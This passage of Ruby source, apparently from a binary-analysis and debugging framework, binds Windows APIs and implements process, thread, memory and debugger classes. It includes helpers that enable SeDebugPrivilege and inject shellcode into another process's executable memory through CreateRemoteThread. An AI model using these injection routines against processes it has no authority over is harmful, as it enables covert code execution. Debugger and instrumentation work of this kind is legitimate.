-#define TH32CS_INHERIT 0x80000000 - -HANDLE -WINAPI -CreateToolhelp32Snapshot( - DWORD dwFlags, - DWORD th32ProcessID -); - -typedef struct tagPROCESSENTRY32 -{ - DWORD dwSize; - DWORD cntUsage; - DWORD th32ProcessID; - ULONG_PTR th32DefaultHeapID; - DWORD th32ModuleID; - DWORD cntThreads; - DWORD th32ParentProcessID; - LONG pcPriClassBase; - DWORD dwFlags; - CHAR szExeFile[MAX_PATH]; -} PROCESSENTRY32; - -BOOL -WINAPI -Process32First( - HANDLE hSnapshot, - PROCESSENTRY32 *lppe -); -BOOL -WINAPI -ZEROOK -Process32Next( - HANDLE hSnapshot, - PROCESSENTRY32 *lppe -); - - -typedef struct tagTHREADENTRY32 -{ - DWORD dwSize; - DWORD cntUsage; - DWORD th32ThreadID; // this thread - DWORD th32OwnerProcessID; // Process this thread is associated with - LONG tpBasePri; - LONG tpDeltaPri; - DWORD dwFlags; -} THREADENTRY32, * LPTHREADENTRY32; - -BOOL -WINAPI -Thread32First( - HANDLE hSnapshot, - LPTHREADENTRY32 lpte -); -BOOL -WINAPI -ZEROOK -Thread32Next( - HANDLE hSnapshot, - LPTHREADENTRY32 lpte -); - - -typedef struct tagHEAPLIST32 -{ - SIZE_T dwSize; - DWORD th32ProcessID; // owning process - ULONG_PTR th32HeapID; // heap (in owning process context!) - DWORD dwFlags; -} HEAPLIST32, LPHEAPLIST32; - -#define HF32_DEFAULT 1 // process default heap -#define HF32_SHARED 2 // is shared heap - -BOOL -WINAPI -Heap32ListFirst( - HANDLE hSnapshot, - LPHEAPLIST32 lphl -); -BOOL -WINAPI -ZEROOK -Heap32ListNext( - HANDLE hSnapshot, - LPHEAPLIST32 lphl -); - - -typedef struct tagMODULEENTRY32 -{ - DWORD dwSize; - DWORD th32ModuleID; - DWORD th32ProcessID; - DWORD GlblcntUsage; - DWORD ProccntUsage; - ULONG_PTR modBaseAddr; - DWORD modBaseSize; - HMODULE hModule; - char szModule[256]; - char szExePath[MAX_PATH]; -} MODULEENTRY32; - -BOOL -WINAPI -Module32First( - HANDLE hSnapshot, - MODULEENTRY32 *lpme -); -BOOL -WINAPI -ZEROOK -Module32Next( - HANDLE hSnapshot, - MODULEENTRY32 *lpme -); - - -typedef struct _MEMORY_BASIC_INFORMATION32 { - DWORD BaseAddress; - DWORD AllocationBase; - DWORD AllocationProtect; // initial (alloc time) prot - DWORD RegionSize; - DWORD State; // MEM_FREE/COMMIT/RESERVE - DWORD Protect; // PAGE_EXECUTE_READWRITE etc - DWORD Type; // MEM_IMAGE/MAPPED/PRIVATE -} MEMORY_BASIC_INFORMATION32, *PMEMORY_BASIC_INFORMATION32; - -typedef struct _MEMORY_BASIC_INFORMATION64 { - ULONGLONG BaseAddress; - ULONGLONG AllocationBase; - DWORD AllocationProtect; - DWORD __alignment1; - ULONGLONG RegionSize; - DWORD State; - DWORD Protect; - DWORD Type; - DWORD __alignment2; -} MEMORY_BASIC_INFORMATION64, *PMEMORY_BASIC_INFORMATION64; - -SIZE_T -WINAPI -ZEROOK -VirtualQueryEx( - HANDLE hProcess, - LPVOID lpAddress, - PMEMORY_BASIC_INFORMATION32 lpBuffer, - SIZE_T dwLength // sizeof lpBuffer -); - -typedef struct _LDT_ENTRY { - WORD LimitLow; - WORD BaseLow; - union { - struct { - BYTE BaseMid; - BYTE Flags1; - BYTE Flags2; - BYTE BaseHi; - } Bytes; - struct { - DWORD BaseMid :8; - DWORD Type :5; - DWORD Dpl :2; - DWORD Pres :1; - DWORD LimitHi :4; - DWORD Sys :1; - DWORD Reserved_0 :1; - DWORD Default_Big :1; - DWORD Granularity :1; - DWORD BaseHi :8; - } Bits; - } HighWord; -} LDT_ENTRY; - -BOOL -WINAPI -GetThreadSelectorEntry( - HANDLE hThread, - DWORD dwSelector, - LDT_ENTRY *lpSelectorEntry -); - -BOOL -WINAPI -__attribute__((optional)) -IsWow64Process( - HANDLE hProcess, - BOOL *wow64 -); - -EOS - - new_api_c <<EOS, 'advapi32' -#line #{__LINE__} - -#define SE_PRIVILEGE_ENABLED_BY_DEFAULT (0x00000001L) -#define SE_PRIVILEGE_ENABLED (0x00000002L) -#define SE_PRIVILEGE_REMOVED (0X00000004L) -#define SE_PRIVILEGE_USED_FOR_ACCESS (0x80000000L) - -#define TOKEN_ASSIGN_PRIMARY (0x0001) -#define TOKEN_DUPLICATE (0x0002) -#define TOKEN_IMPERSONATE (0x0004) -#define TOKEN_QUERY (0x0008) -#define TOKEN_QUERY_SOURCE (0x0010) -#define TOKEN_ADJUST_PRIVILEGES (0x0020) -#define TOKEN_ADJUST_GROUPS (0x0040) -#define TOKEN_ADJUST_DEFAULT (0x0080) -#define TOKEN_ADJUST_SESSIONID (0x0100) - -typedef struct _LUID { - DWORD LowPart; - LONG HighPart; -} LUID, *PLUID; - -typedef struct _LUID_AND_ATTRIBUTES { - LUID Luid; - DWORD Attributes; -} LUID_AND_ATTRIBUTES, * PLUID_AND_ATTRIBUTES; - -typedef struct _TOKEN_PRIVILEGES { - DWORD PrivilegeCount; - LUID_AND_ATTRIBUTES Privileges[1]; -} TOKEN_PRIVILEGES, *PTOKEN_PRIVILEGES; - - -BOOL -WINAPI -LookupPrivilegeNameA( - __in_opt LPCSTR lpSystemName, - __in PLUID lpLuid, - __out LPSTR lpName, - __inout LPDWORD cchName); - -BOOL -WINAPI -LookupPrivilegeValueA( - __in_opt LPCSTR lpSystemName, - __in LPCSTR lpName, - __out PLUID lpLuid); - -BOOL -WINAPI -AdjustTokenPrivileges ( - __in HANDLE TokenHandle, - __in BOOL DisableAllPrivileges, - __in_opt PTOKEN_PRIVILEGES NewState, - __in DWORD BufferLength, - __out PTOKEN_PRIVILEGES PreviousState, - __out_opt DWORD *ReturnLength); - -BOOL -WINAPI -OpenProcessToken ( - __in HANDLE ProcessHandle, - __in DWORD DesiredAccess, - __out HANDLE *TokenHandle); - - -BOOL -WINAPI -OpenThreadToken ( - __in HANDLE ThreadHandle, - __in DWORD DesiredAccess, - __in BOOL OpenAsSelf, - __out HANDLE *TokenHandle); -EOS - SE_DEBUG_NAME = 'SeDebugPrivilege' - - new_api_c <<EOS, 'ntdll' -#line #{__LINE__} - -typedef LONG NTSTATUS; - -typedef enum _PROCESSINFOCLASS { - ProcessBasicInformation, - ProcessQuotaLimits, - ProcessIoCounters, - ProcessVmCounters, - ProcessTimes, - ProcessBasePriority, - ProcessRaisePriority, - ProcessDebugPort, - ProcessExceptionPort, - ProcessAccessToken, - ProcessLdtInformation, - ProcessLdtSize, - ProcessDefaultHardErrorMode, - ProcessIoPortHandlers, - ProcessPooledUsageAndLimits, - ProcessWorkingSetWatch, - ProcessUserModeIOPL, - ProcessEnableAlignmentFaultFixup, - ProcessPriorityClass, - ProcessWx86Information, - ProcessHandleCount, - ProcessAffinityMask, - ProcessPriorityBoost, - ProcessDeviceMap, - ProcessSessionInformation, - ProcessForegroundInformation, - ProcessWow64Information, - ProcessImageFileName, - ProcessLUIDDeviceMapsEnabled, - ProcessBreakOnTermination, - ProcessDebugObjectHandle, - ProcessDebugFlags, - ProcessHandleTracing -} PROCESSINFOCLASS; - -typedef enum _THREADINFOCLASS { - ThreadBasicInformation, - ThreadTimes, - ThreadPriority, - ThreadBasePriority, - ThreadAffinityMask, - ThreadImpersonationToken, - ThreadDescriptorTableEntry, - ThreadEnableAlignmentFaultFixup, - ThreadEventPair_Reusable, - ThreadQuerySetWin32StartAddress, - ThreadZeroTlsCell, - ThreadPerformanceCount, - ThreadAmILastThread, - ThreadIdealProcessor, - ThreadPriorityBoost, - ThreadSetTlsArrayAddress, - ThreadIsIoPending, - ThreadHideFromDebugger, - ThreadBreakOnTermination -} THREADINFOCLASS; - -typedef enum _MEMORYINFOCLASS { - MemoryBasicInformation, - MemoryDunnoLol, - MemoryMapFileName -} MEMORYINFOCLASS; - -typedef struct _CLIENT_ID { - HANDLE UniqueProcess; - HANDLE UniqueThread; -} CLIENT_ID; - -typedef struct _PROCESS_BASIC_INFORMATION { - PVOID Reserved1; - PVOID PebBaseAddress; - PVOID Reserved2[2]; - ULONG_PTR UniqueProcessId; - PVOID Reserved3; -} PROCESS_BASIC_INFORMATION; - -typedef struct _THREAD_BASIC_INFORMATION { - NTSTATUS ExitStatus; - PVOID TebBaseAddress; - CLIENT_ID ClientId; - ULONG_PTR AffinityMask; - LONG Priority; - LONG BasePriority; -} THREAD_BASIC_INFORMATION; - -typedef struct _UNICODE_STRING { - USHORT Length; - USHORT MaximumLength; - USHORT *Buffer; -} UNICODE_STRING; - -ZEROOK -NTSTATUS -WINAPI -NtQueryInformationProcess( - HANDLE ProcessHandle, - PROCESSINFOCLASS ProcessInformationClass, - PVOID ProcessInformation, - ULONG ProcessInformationLength, - ULONG *ReturnLength -); - -ZEROOK -NTSTATUS -WINAPI -NtQueryInformationThread ( - HANDLE ThreadHandle, - THREADINFOCLASS ThreadInformationClass, - PVOID ThreadInformation, - ULONG ThreadInformationLength, - ULONG *ReturnLength -); - -ZEROOK -NTSTATUS -WINAPI -NtQueryVirtualMemory ( - HANDLE ProcessHandle, - PVOID BaseAddress, - MEMORYINFOCLASS MemoryInformationClass, - PVOID MemoryInformation, - ULONG MemoryInformationLength, - ULONG *ReturnLength -); - -EOS - - # convert a native function return value - # if the native does not have the zero_not_fail attribute, convert 0 - # to nil, and print a message on stdout - def self.convert_ret_c2rb(fproto, ret) - @last_err_msg = nil - if ret == 0 and not fproto.has_attribute 'zero_not_fail' - # save error msg so that last_error_msg returns the same thing if called again - puts "WinAPI: error in #{fproto.name}: #{@last_err_msg = last_error_msg}" if $VERBOSE - puts caller if $DEBUG - nil - else super(fproto, ret) - end - end - - # retrieve the textual error message relative to GetLastError - def self.last_error_msg(errno = nil) - return @last_err_msg if @last_err_msg - errno ||= getlasterror - message = ' '*512 - if formatmessagea(FORMAT_MESSAGE_FROM_SYSTEM, nil, errno, 0, message, message.length, nil) == 0 - message = 'unknown error %x' % errno - else - message = message[0, message.index(?\0)] if message.index(?\0) - message.chomp! - end - message - end -end - -class WinOS < OS - class Process < OS::Process - attr_accessor :ppid - def initialize(pid, handle=nil) - @pid = pid - @handle = handle - end - - # on-demand cached openprocess(ALL_ACCESS) handle - def handle - @handle ||= WinAPI.openprocess(WinAPI::PROCESS_ALL_ACCESS, 0, @pid) - end - attr_writer :handle - - # return/create a WindowsRemoteString - def memory - @memory ||= WindowsRemoteString.new(handle) - end - attr_writer :memory - - def debugger - @debugger ||= WinDebugger.new(@pid) - end - attr_writer :debugger - - # returns the memory address size of the target process - def addrsz - @addrsz ||= if WinAPI.respond_to?(:iswow64process) - byte = 0.chr*8 - if WinAPI.iswow64process(handle, byte) - if byte != 0.chr*8 - 32 # target = wow64 - elsif WinAPI.iswow64process(WinAPI.getcurrentprocess, byte) and byte != 0.chr*8 - 64 # us = wow64, target is not - else - WinAPI.host_cpu.size - end - else - WinAPI.host_cpu.size - end - end - end - - def modules - WinOS.list_modules(@pid) - end - - def threads - WinOS.list_threads(@pid) - end - - def heaps - WinOS.list_heaps(@pid) - end - - # return a list of [addr_start, length, perms] - def mappings - addr = 0 - list = [] - info = WinAPI.alloc_c_struct("MEMORY_BASIC_INFORMATION#{WinAPI.host_cpu.size}") - path = [0xff].pack('C') * 512 - - hcache = heaps - - while WinAPI.virtualqueryex(handle, addr, info, info.sizeof) != 0 - addr += info.regionsize - next unless info.state & WinAPI::MEM_COMMIT > 0 - - prot = { - WinAPI::PAGE_NOACCESS => '---', - WinAPI::PAGE_READONLY => 'r--', - WinAPI::PAGE_READWRITE => 'rw-', - WinAPI::PAGE_WRITECOPY => 'rw-', - WinAPI::PAGE_EXECUTE => '--x', - WinAPI::PAGE_EXECUTE_READ => 'r-x', - WinAPI::PAGE_EXECUTE_READWRITE => 'rwx', - WinAPI::PAGE_EXECUTE_WRITECOPY => 'rwx' - }[info[:protect] & 0xff] - prot = prot.sub('r', '-') + 'g' if info[:protect] & WinAPI::PAGE_GUARD > 0 - prot << 'p' if info[:type] & WinAPI::MEM_PRIVATE > 0 - - if h = hcache[info.baseaddress] - a = [] - a << 'default' if h[:default] - a << 'shared' if h[:shared] - a << 'heap' - #a << h[:flags].to_s(16) - cmt = '[' + a.join(' ') + ']' - elsif WinAPI.ntqueryvirtualmemory(handle, info.baseaddress, WinAPI::MEMORYMAPFILENAME, path, path.length, 0) == 0 - us = WinAPI.decode_c_struct('UNICODE_STRING', path) - s = WinAPI.decode_c_ary('USHORT', us['Length']/2, WinAPI.memory_read(us['Buffer'], us['MaximumLength'])) - cmt = s.to_strz - else - cmt = '' - end - - list << [info.baseaddress, info.regionsize, prot, cmt] - end - - list - end - - def peb_base - @peb_base ||= - if WinAPI.respond_to?(:ntqueryinformationprocess) - pinfo = WinAPI.alloc_c_struct('PROCESS_BASIC_INFORMATION') - if WinAPI.ntqueryinformationprocess(handle, WinAPI::PROCESSBASICINFORMATION, pinfo, pinfo.sizeof, 0) == 0 - pinfo.pebbaseaddress - end - else - # pre-NT: all pebs should have the same addr - WinAPI.new_func_asm('unsigned get_peb(void)', 'mov eax, fs:[30h] ret') { WinAPI.get_peb } - end - end - attr_writer :peb_base - - def terminate(exitcode=0) - WinAPI.terminateprocess(handle, exitcode) - end - end - - class Thread - attr_accessor :tid - attr_accessor :process - - def initialize(tid, handle=nil, process=nil) - @tid = tid - @handle = handle - @process = process - end - - def handle - @handle ||= WinAPI.openthread(WinAPI::THREAD_ALL_ACCESS, 0, @tid) - end - attr_writer :handle - - # return the address of the TEB for the target thread - def teb_base - @teb_base ||= - if WinAPI.respond_to?(:ntqueryinformationthread) - tinfo = WinAPI.alloc_c_struct('THREAD_BASIC_INFORMATION') - if WinAPI.ntqueryinformationthread(handle, WinAPI::THREADBASICINFORMATION, tinfo, tinfo.sizeof, 0) == 0 - tinfo.tebbaseaddress - end - else - fs = context { |c| c[:fs] } - ldte = WinAPI.alloc_c_struct('LDT_ENTRY') - if WinAPI.getthreadselectorentry(handle, fs, ldte) - ldte.baselow | (ldte.basemid << 16) | (ldte.basehi << 24) - end - end - end - attr_writer :teb_base - - # increment the suspend count of the target thread - stop at >0 - def suspend - if WinAPI.host_cpu.size == 64 and process and process.addrsz == 32 - WinAPI.wow64suspendthread(handle) - else - WinAPI.suspendthread(handle) - end - end - - # decrease the suspend count of the target thread - runs at 0 - def resume - WinAPI.resumethread(handle) - end - - def terminate(exitcode=0) - WinAPI.terminatethread(handle, exitcode) - end - - # returns a Context object. Can be reused, refresh the values with #update (target thread must be suspended) - # if a block is given, suspend the thread, update the context, yield it, and resume the thread - def context - @context ||= Context.new(self, :all) - if block_given? - suspend - begin - @context.update - yield @context - ensure - resume - end - else - @context - end - end - attr_writer :context - - class Context - def initialize(thread, kind=:all) - @handle = thread.handle - tg = (thread.process ? thread.process.addrsz : 32) - hcpu = WinAPI.host_cpu.shortname - case hcpu - when 'ia32', 'x64' - else raise "unsupported architecture #{tg}" - end - - @getcontext = :getthreadcontext - @setcontext = :setthreadcontext - case tg - when 32 - @context = WinAPI.alloc_c_struct('_CONTEXT_I386') - @context.contextflags = WinAPI::CONTEXT_I386_ALL - if hcpu == 'x64' - @getcontext = :wow64getthreadcontext - @setcontext = :wow64setthreadcontext - end - when 64 - @context = WinAPI.alloc_c_struct('_CONTEXT_AMD64') - @context.contextflags = WinAPI::CONTEXT_AMD64_ALL - end - end - - # retrieve the actual context structure (so we can pass to API's like StackWalk64) - def c_struct - @context - end - - # update the context to reflect the current thread reg values - # call only when the thread is suspended - def update - WinAPI.send(@getcontext, @handle, @context) - end - - def [](k) - case k.to_s - when /^[cdefgs]s$/i - @context["seg#{k}"] - when /^st(\d?)$/i - v = @context['st'][$1.to_i] - buf = v.str[v.stroff, 10] - # TODO check this, 'D' is 8byte wide - buf.unpack('D')[0] - # TODO when /^ymm(\d+)$/i - when /^xmm(\d+)$/i - v = @context['xmm'][$1.to_i] - (v.hi << 64) | v.lo - when /^mmx?(\d)$/i - # XXX probably in st(0/7) - @context['xmm'][$1.to_i].lo - else - @context[k] - end - end - - def []=(k, v) - case k.to_s - when /^[cdefgs]s$/i - @context["seg#{k}"] = v - when /^st(\d?)$/i - # TODO check this, 'D' is 8byte wide - buf = [v, 0, 0].pack('DCC') - @context['st'][$1.to_i][0, 10] = buf - # TODO when /^ymm(\d+)$/i - when /^xmm(\d+)$/i - kk = @context['xmm'][$1.to_i] - kk.lo = v & ((1<<64)-1) - kk.hi = (v>>64) & ((1<<64)-1) - when /^mmx?(\d)$/i - # XXX st(7-$1) ? - @context['xmm'][$1.to_i].lo = v - else - @context[k] = v - end - WinAPI.send(@setcontext, @handle, @context) - end - - def method_missing(m, *a) - if m.to_s[-1] == ?= - return super(m, *a) if a.length != 1 - send '[]=', m.to_s[0...-1], a[0] - else - return super(m, *a) if a.length != 0 - send '[]', m - end - end - end - end - -class << self - # try to enable debug privilege in current process - def get_debug_privilege - # TODO use real structs / new_func_c - htok = [0].pack('L') - return if not WinAPI.openprocesstoken(WinAPI.getcurrentprocess(), WinAPI::TOKEN_ADJUST_PRIVILEGES | WinAPI::TOKEN_QUERY, htok) - luid = [0, 0].pack('LL') - return if not WinAPI.lookupprivilegevaluea(nil, WinAPI::SE_DEBUG_NAME, luid) - - # priv.PrivilegeCount = 1; - # priv.Privileges[0].Luid = luid; - # priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; - priv = luid.unpack('LL').unshift(1).push(WinAPI::SE_PRIVILEGE_ENABLED).pack('LLLL') - return if not WinAPI.adjusttokenprivileges(htok.unpack('L').first, 0, priv, 0, nil, nil) - - true - end - - # returns an array of Processes with pid/ppid/path filled - def list_processes - h = WinAPI.createtoolhelp32snapshot(WinAPI::TH32CS_SNAPPROCESS, 0) - list = [] - pe = WinAPI.alloc_c_struct('PROCESSENTRY32', :dwsize => :size) - return if not WinAPI.process32first(h, pe) - loop do - p = Process.new(pe.th32processid) - p.ppid = pe.th32parentprocessid - p.path = pe.szexefile.to_strz - list << p if p.pid != 0 - break if WinAPI.process32next(h, pe) == 0 - end - WinAPI.closehandle(h) - list - end - - # retrieve the list of Modules for a process with addr/size/path filled - def list_modules(pid) - h = WinAPI.createtoolhelp32snapshot(WinAPI::TH32CS_SNAPMODULE, pid) - return [] if h == WinAPI::INVALID_HANDLE_VALUE - list = [] - me = WinAPI.alloc_c_struct('MODULEENTRY32', :dwsize => :size) - return [] if not WinAPI.module32first(h, me) - loop do - m = Process::Module.new - m.addr = me.modbaseaddr - m.size = me.modbasesize - m.path = me.szexepath.to_strz - list << m - break if WinAPI.module32next(h, me) == 0 - end - WinAPI.closehandle(h) - list - end - - # returns the list of thread ids of the system, optionally filtering by pid - def list_threads(pid=nil) - h = WinAPI.createtoolhelp32snapshot(WinAPI::TH32CS_SNAPTHREAD, 0) - list = [] - te = WinAPI.alloc_c_struct('THREADENTRY32', :dwsize => :size) - return [] if not WinAPI.thread32first(h, te) - loop do - list << te.th32threadid if not pid or te.th32ownerprocessid == pid - break if WinAPI.thread32next(h, te) == 0 - end - WinAPI.closehandle(h) - list - end - - # returns the heaps of the process, from a toolhelp snapshot SNAPHEAPLIST - # this is a hash - # heap_addr => { :flags => integer (heap flags) - # :shared => bool (from flags) - # :default => bool (from flags) } - def list_heaps(pid) - h = WinAPI.createtoolhelp32snapshot(WinAPI::TH32CS_SNAPHEAPLIST, pid) - return [] if h == WinAPI::INVALID_HANDLE_VALUE - ret = {} - he = WinAPI.alloc_c_struct('HEAPLIST32', :dwsize => :size) - return [] if not WinAPI.heap32listfirst(h, he) - loop do - hash = ret[he.th32heapid] = { :flags => he.dwflags } - hash[:default] = true if hash[:flags] & WinAPI::HF32_DEFAULT == WinAPI::HF32_DEFAULT - hash[:shared] = true if hash[:flags] & WinAPI::HF32_SHARED == WinAPI::HF32_SHARED - # TODO there are lots of other flags in there ! like 0x1000 / 0x8000 - break if WinAPI.heap32listnext(h, he) == 0 - end - WinAPI.closehandle(h) - ret - end - - - # create a debugger for the target pid/path - def create_debugger(path) - WinDebugger.new(path) - end - - # Injects a shellcode into the memory space of targetproc - # target is a WinOS::Process - # shellcode may be a String (raw shellcode) or an EncodedData - # With an EncodedData, unresolved relocations are solved using - # exports of modules from the target address space ; also the - # shellcode need not be position-independant. - def inject_shellcode(target, shellcode) - raise 'cannot open target memory' if not remote_mem = target.memory - return if not injectaddr = WinAPI.virtualallocex(target.handle, 0, shellcode.length, - WinAPI::MEM_COMMIT | WinAPI::MEM_RESERVE, WinAPI::PAGE_EXECUTE_READWRITE) - puts 'remote buffer at %x' % injectaddr if $VERBOSE - - if shellcode.kind_of? EncodedData - fixup_shellcode_relocs(shellcode, target, remote_mem) - shellcode.fixup! shellcode.binding(injectaddr) - r = shellcode.reloc.values.map { |r_| r_.target } - raise "unresolved shellcode relocs #{r.join(', ')}" if not r.empty? - shellcode = shellcode.data - end - - # inject the shellcode - remote_mem[injectaddr, shellcode.length] = shellcode - - injectaddr - end - - def fixup_shellcode_relocs(shellcode, target, remote_mem) - ext = shellcode.reloc_externals - binding = {} - while e = ext.pop - next if binding[e] - next if not lib = WindowsExports::EXPORT[e] # XXX could scan all exports... LoadLibrary ftw - next if not m = target.modules.find { |m_| m_.path.downcase.include? lib.downcase } - lib = LoadedPE.load(remote_mem[m.addr, 0x1000_0000]) - lib.decode_header - lib.decode_exports - lib.export.exports.each { |e_| - next if not e_.name or not e_.target - binding[e_.name] = m.addr + lib.label_rva(e_.target) - } - shellcode.fixup! binding - end - end - - # creates a new thread in the target process, with the specified start address - def createthread(target, startaddr) - WinAPI.createremotethread(target.handle, 0, 0, startaddr, 0, 0, 0) - end - - # calls inject_shellcode and createthread - def inject_run_shellcode(target, shellcode) - raise "failed to inject shellcode" if not addr = inject_shellcode(target, shellcode) - createthread(target, addr) - end - - # returns a Process associated to the process handle - def open_process_handle(h) - pid = WinAPI.getprocessid(h) rescue 0 - Process.new(pid, h) - end - - # returns the Process associated to pid if it is alive - def open_process(pid) - Process.new(pid) if check_process(pid) - end - - # returns true if the process pid exists and we can open it with QUERY_INFORMATION - def check_process(pid) - if h = WinAPI.openprocess(WinAPI::PROCESS_QUERY_INFORMATION, 0, pid) - WinAPI.closehandle(h) - true - end - end - - # returns the Thread associated to a tid if it is alive - def open_thread(tid) - Thread.new(tid) if check_tid(tid) - end - - # check if the thread is alive and can be read with QUERY_INFO - # and optionally if it belongs to pid - def check_tid(tid, pid=nil) - if h = WinAPI.openthread(WinAPI::THREAD_QUERY_INFORMATION, 0, tid) - WinAPI.closehandle(h) - not pid or list_threads(pid).include?(tid) - end - end - - # returns the [major, minor] version of the windows os - def version - v = WinAPI.getversion - [v & 0xff, (v>>8) & 0xff] - end -end # class << self -end - -class WindowsRemoteString < VirtualString - def self.open_pid(pid, access = nil) - if access - handle = WinAPI.openprocess(access, 0, pid) - else - handle = WinAPI.openprocess(WinAPI::PROCESS_ALL_ACCESS, 0, pid) - if not handle - puts "cannot openprocess ALL_ACCESS pid #{pid}, try ro" if $VERBOSE - handle = WinAPI.openprocess(WinAPI::PROCESS_VM_READ, 0, pid) - end - end - raise "OpenProcess(#{pid}): #{WinAPI.last_error_msg}" if not handle - - new(handle) - end - - attr_accessor :handle - - # returns a virtual string proxying the specified process memory range - # reads are cached (4096 aligned bytes read at once) - # writes are done directly (if handle has appropriate privileges) - def initialize(handle, addr_start=0, length=nil) - @handle = handle - length ||= 1 << (WinOS.open_process_handle(@handle).addrsz rescue 32) - super(addr_start, length) - end - - def dup(addr = @addr_start, len = @length) - self.class.new(@handle, addr, len) - end - - def rewrite_at(addr, data) - WinAPI.writeprocessmemory(@handle, addr, data, data.length, nil) - end - - def get_page(addr, len=@pagelength) - page = [0].pack('C')*len - return if WinAPI.readprocessmemory(@handle, addr, page, len, 0) == 0 - page - end -end - -# this class implements a high-level API over the Windows debugging primitives -class WinDebugger < Debugger - attr_accessor :os_process, :os_thread, - :auto_fix_fs_bug, - # is current exception handled? (arg to pass to continuedbgevt) - # if it has the special value :suspended, it means that the thread - # is to be restarted through resume and not continuedbgevt - :continuecode - - attr_accessor :callback_unloadlibrary, :callback_debugstring, :callback_ripevent - - def initialize(pidpath=nil) - super() - @pid_stuff_list << :os_process - @tid_stuff_list << :os_thread << :ctx << :continuecode - - @auto_fix_fs_bug = false - - return if not pidpath - - begin - npid = Integer(pidpath) - attach(npid) - rescue ArgumentError - create_process(pidpath) - end - - check_target until pid - end - - def shortname; 'windbg'; end - - def attach(npid) - WinAPI.debugactiveprocess(npid) - WinAPI.debugsetprocesskillonexit(0) if WinAPI.respond_to?(:debugsetprocesskillonexit) - 100.times { - check_target - break if pid - } - raise "attach failed" if not pid - end - - def create_process(target) - startupinfo = WinAPI.alloc_c_struct('STARTUPINFOA', :cb => :size) - processinfo = WinAPI.alloc_c_struct('PROCESS_INFORMATION') - flags = WinAPI::DEBUG_PROCESS - flags |= WinAPI::DEBUG_ONLY_THIS_PROCESS if not trace_children - target = target.dup if target.frozen? # eg ARGV - h = WinAPI.createprocessa(nil, target, nil, nil, 0, flags, nil, nil, startupinfo, processinfo) - raise "CreateProcess: #{WinAPI.last_error_msg}" if not h - - set_context(processinfo.dwprocessid, processinfo.dwthreadid) - @os_process = WinOS::Process.new(processinfo.dwprocessid, processinfo.hprocess) - @os_thread = WinOS::Thread.new(processinfo.dwthreadid, processinfo.hthread, @os_process) - initialize_osprocess - check_target - end - - # called whenever we receive a handle to a new process being debugged, after initialisation of @os_process - def initialize_osprocess - initialize_cpu - initialize_memory - initialize_disassembler - end - - def initialize_newpid - raise "non-existing pid #@pid" if pid and not WinOS.check_process(@pid) - super() - # os_process etc wait for CREATE_THREAD_DBGEVT - end - - def initialize_newtid - super() - # os_thread etc wait for CREATE_THREAD_DBGEVT - @continuecode = WinAPI::DBG_CONTINUE #WinAPI::DBG_EXCEPTION_NOT_HANDLED - end - - def initialize_cpu - # wait until we receive the CREATE_PROCESS_DBGEVT message - return if not @os_process - case WinAPI.host_cpu.shortname - when 'ia32', 'x64' - @cpu = Ia32.new(os_process.addrsz) - else - raise 'unsupported architecture' - end - end - - def initialize_memory - return if not @os_process - @memory = os_process.memory - end - - def mappings - os_process.mappings - end - - def modules - os_process.modules - end - - def list_processes - WinOS.list_processes - end - - def list_threads - os_process.threads - end - - def check_pid(pid) - WinOS.check_process(pid) - end - - def check_tid(tid) - # dont raise() on the first set_context when os_proc is not set yet - return true if not os_process - super(tid) - end - - def ctx - if not @ctx - # swapin_tid => gui.swapin_tid => getreg before we init os_thread in EventCreateThread - return Hash.new(0) if not os_thread - @ctx = os_thread.context - @ctx.update - end - @ctx - end - - def invalidate - @ctx = nil - super() - end - - def get_reg_value(r) - ctx[r] - end - - def set_reg_value(r, v) - if @state == :running - suspend - ctx[r] = v - resume - else - ctx[r] = v - end - end - - def do_continue(*a) - @cpu.dbg_disable_singlestep(self) - if @continuecode == :suspended - resume - else - @state = :running - WinAPI.continuedebugevent(@pid, @tid, @continuecode) - end - end - - def do_singlestep(*a) - @cpu.dbg_enable_singlestep(self) - if @continuecode == :suspended - resume - else - @state = :running - WinAPI.continuedebugevent(@pid, @tid, @continuecode) - end - end - - def do_enable_bpm(bp) - @bpm_info ||= WinAPI.alloc_c_struct("MEMORY_BASIC_INFORMATION#{WinAPI.host_cpu.size}") - WinAPI.virtualqueryex(os_process.handle, bp.address, @bpm_info, @bpm_info.sizeof) - # TODO save original page perms, check bpm type (:w -> vprotect(PAGE_READONLY)), handle multiple bpm on same page - WinAPI.virtualprotectex(os_process.handle, bp.address, bp.internal[:len], @bpm_info[:protect] | WinAPI::PAGE_GUARD, @bpm_info) - end - - def do_disable_bpm(bp) - @bpm_info ||= WinAPI.alloc_c_struct("MEMORY_BASIC_INFORMATION#{WinAPI.host_cpu.size}") - WinAPI.virtualqueryex(os_process.handle, bp.address, @bpm_info, @bpm_info.sizeof) - WinAPI.virtualprotectex(os_process.handle, bp.address, bp.internal[:len], @bpm_info[:protect] & ~WinAPI::PAGE_GUARD, @bpm_info) - end - - def update_dbgev(ev) - # XXX ev is static, copy all necessary values before yielding to something that may call check_target - set_context ev.dwprocessid, ev.dwthreadid - invalidate - @continuecode = WinAPI::DBG_CONTINUE - - # XXX reinterpret ev as struct32/64 depending on os_process.addrsz ? - case ev.dwdebugeventcode - when WinAPI::EXCEPTION_DEBUG_EVENT - st = ev.exception - str = st.exceptionrecord - stf = st.dwfirstchance # non-zero = first chance - - @state = :stopped - @info = "exception" - - # DWORD ExceptionCode; - # DWORD ExceptionFlags; - # struct _EXCEPTION_RECORD *ExceptionRecord; - # PVOID ExceptionAddress; - # DWORD NumberParameters; - # ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; - case str.exceptioncode - when WinAPI::STATUS_ACCESS_VIOLATION, WinAPI::STATUS_GUARD_PAGE_VIOLATION - if @auto_fix_fs_bug and ctx.fs != 0x3b - # fix bug in xpsp1 where fs would get a random value in a debugee - log "wdbg: #{pid}:#{tid} fix fs bug" if $DEBUG - ctx.fs = 0x3b - resume_badbreak - return - end - mode = case str.exceptioninformation[0] - when 0; :r - when 1; :w - when 8; :x - end - addr = str.exceptioninformation[1] - evt_exception(:type => 'access violation', :st => str, :firstchance => stf, - :fault_addr => addr, :fault_access => mode) - when WinAPI::STATUS_BREAKPOINT, WinAPI::STATUS_WX86_BREAKPOINT - # we must ack ntdll interrupts on process start - # but we should not mask process-generated exceptions by default.. - evt_bpx - when WinAPI::STATUS_SINGLE_STEP, WinAPI::STATUS_WX86_SINGLE_STEP - evt_hwbp_singlestep - else - @status_name ||= WinAPI.cp.lexer.definition.keys.grep(/^STATUS_/). - sort.inject({}) { |h, c| h.update WinAPI.const_get(c) => c } - type = 